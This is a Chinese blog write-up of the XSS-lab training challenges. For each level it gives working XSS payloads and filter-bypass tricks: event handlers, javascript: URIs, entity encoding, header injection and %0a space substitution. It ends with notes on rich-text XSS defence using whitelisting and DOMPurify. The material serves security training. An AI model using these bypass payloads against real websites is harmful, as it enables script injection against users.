XSS-lab通关心得

本文分享了在XSS-lab中遇到的各种挑战和解决方案,包括但不限于找到正确的回显点,绕过htmlspecialchars函数,使用Unicode编码,以及针对不同过滤规则的策略。详细介绍了如何通过文件包含漏洞,URL编码技巧,以及改变输入框类型、refer、user_agent和cookie等方法来实现XSS攻击。此外,还强调了代码审计和理解服务器逻辑在解题过程中的重要性。

1、无障碍

2、注意要找好回显点,回显点可能有几个,要找对了

3、有时会遇到htmlspecialchars函数,用伪协议或on事件等按情况去绕过

过滤on、script

4、on事件绕过

5、a标签的href属性伪协议绕过

6、大小写绕过

过滤了on、script、href

7、双写绕过

过滤script、on、href

8、编码绕过

要点:利用unicode编码绕过

unicode编码是4位16进制的数组成的

在html上以&#x加上unicode数组成

例如:r的unicode代码为0072

在html上用Unicode来表示即为&#x0072

所以该关卡的payload为:

javasc&#x0072ipt:alert(1)

9、代码审计加编码绕过

该处需要代码分析,得知输入中得带有http://才可以

在上面的限制上再加上这点的限制,所以payload为

javasc&#x0072:alert('http://')

10、 改输入框类型

需要查看源代码才知道有个隐藏的输入框,需要改变该输入框将其改为test类型再配合onclick事件来触发

payload为:

" type="text" onclick="alert(1)"

11、改refer

需要用burpsuit抓包,在第10关跳转到11关时将refer改为下面的payload

" type="text" onclick="alert(1)"

12、 改user_agent

跟第11关类似,这个改的是user_agent

13、改cookie

跟第11关类似,这个改的是cookie

14、跳过

15、文件包含

查看源代码,发现注入点为src,对src输入level1.png,发现把图片以二进制形式包含进来了,说明存在文件包含漏洞,那么尝试把lever1.php文件包含进来,发现成功,接着把带有xss漏洞的lever1.php的文件包含进去,通过该关卡

payload为:

src='level1.php?name=<img src=s onerror=alert(0)>'

16、url编码

查看源码,该关卡过滤了script、/、空格

主要问题是过滤了空格,这里用%0a来代替空格,%0a在url上表示空格的

payload为

1、keyword=<a%0Aonclick='alert(1)'%0A>a</a>

2、keyword=<svg%0Aonload='alert(1)'%0A>

3、keyword=<img%0Asrc='a'%0Aonerror='alert(1)'>

17、跳过

 

### 富文本XSS漏洞的实战解决方案 #### 了解富文本XSS漏洞的本质 富文本XSS漏洞是Web应用程序中最难防御的一类跨站脚本攻击形式之一。当应用允许用户输入HTML内容而不加严格控制时,恶意用户可以注入JavaScript代码来执行各种有害操作[^1]。 #### 防御策略概述 为了有效应对这种类型的威胁,采用白名单过滤机制成为不可或缺的选择。该方法只允许特定的安全标签及其属性通过,从而阻止任何潜在危险的内容进入系统。此外,遵循安全开发生命周期中的最佳实践对于构建稳固防线至关重要。 #### 实施具体措施 - **输入验证**:确保所有来自用户的HTML输入都经过严格的语法和结构检查。 - **编码输出**:在显示之前对特殊字符进行转义处理,防止它们被浏览器解释成可执行代码片段。 - **使用库工具**:借助成熟的第三方组件如DOMPurify可以帮助简化这一过程并提高效率。 - **定期测试**:持续开展渗透测试活动以发现新的风险点,并及时调整防护手段。 ```javascript // 使用 DOMPurify 净化 HTML 输入示例 const dirtyHtml = '<img src="x" onerror="alert(1)">'; // 假设这是未经净化的数据 const cleanHtml = DOMPurify.sanitize(dirtyHtml); console.log(cleanHtml); // 输出:<img src="x"> ``` #### 参考案例研究 Mall4J是一个实际运用了上述原则的成功范例。该项目不仅实现了前后端分离架构下的全面功能支持,还特别加强了针对XSS攻击的有效预防措施,在源码层面提供了良好的示范作用[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值